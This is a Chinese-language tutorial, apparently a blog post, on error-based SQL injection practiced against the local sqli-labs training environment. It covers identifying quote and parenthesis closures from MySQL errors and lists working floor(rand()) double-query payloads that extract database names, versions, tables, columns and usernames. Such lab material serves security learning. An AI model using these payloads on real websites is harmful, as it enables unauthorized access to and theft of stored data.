Web渗透——SQL注入之基于错误的

0x00 前言

sql注入是top 10中的一个,是需要好好学习的一个漏洞。

0x01 知识点

1.注入原理

注入攻击的更远在于,程序命令和用户数据之前没有进行校验,使得攻击者有机会将程序命令当做用户输入的数据交给web程序,为所欲为。

简之:接受相关参数未经处理直接带入数据库查询操作。

2.GET 基于单引号的错误

2.1 单引号型

首先来看一下正常测试,输入ID之后进行测试,返回正常

Web渗透——SQL注入之基于错误的_第1张图片

对网址进行单引号后缀产生了错误。

Web渗透——SQL注入之基于错误的_第2张图片

爆出错误为

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1’ at line 1

这里猜测数据库的查询语句为:

select *from users where id='1' limit 0,1;

我们来进行测试:

构造sql注入语句

http://127.0.0.1/sqli-labs-master/Less-1?id=1'and '1'='1

进行测试:

Web渗透——SQL注入之基于错误的_第3张图片

总结

单引号型就是在查询语句中使用单引号进行包裹的。

2.数字型

首先测试id=1。

Web渗透——SQL注入之基于错误的_第4张图片

返回正常数据

使用单引号进行测试

返回错误

Web渗透——SQL注入之基于错误的_第5张图片

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1’ at line 1

我们来剥离进行查看
这里说是单引号出了问题。

猜测这里没有单引号。

使用注入语句进行测试:

http://127.0.0.1/sqli-labs-master/Less-2?id=1 and 1=1

Web渗透——SQL注入之基于错误的_第6张图片

http://127.0.0.1/sqli-labs-master/Less-2?id=1 and 1=2

Web渗透——SQL注入之基于错误的_第7张图片

猜测正确。

总结

数字型就是直接通过数字进行判断,没有任何包裹。

3. 字符型

首先正常测试id=1
Web渗透——SQL注入之基于错误的_第8张图片

使用单引号测试’

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

出错了,进行错误分析。

 '        '     1'     ') LIMIT 0,1           ' 

发现这里少了一个’)括号。进行语句构造:

id=1') and 1=1 --+

Web渗透——SQL注入之基于错误的_第9张图片

and 1=2测试

Web渗透——SQL注入之基于错误的_第10张图片

存在漏洞。

总结

字符型就是通过’)大括号进行闭合进行查询。

3.基于双引号的错误

字符型

这里滤过正确测试。

使用id=1"进行测试

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

产生错误。进行分析。构造判断语句。

http://localhost/sqli-labs-master/Less-4/?id=1") and 1=1 --+

和单引号字符型类似。

4.sql注入流程

注入基础

select count(*),concat(0x3a,0x3a,floor(rand()*2)name from information_schema.tables group by name)

1.判断数据库的列数

通过改变数字来进行判断。

order by 3 --+

2.判断敏感字段

union select 12,3 --+

3.数据库名称

id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b) --+

4.数据库版本号

id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b) --+

5.数据库表名

(1)第一个表

id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b) --+

(2)第二个表

id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b) --+

6.列名

id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b) --+

7.显示具体信息

id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b) --+

你可能感兴趣的:(Android逆向-操刀天下)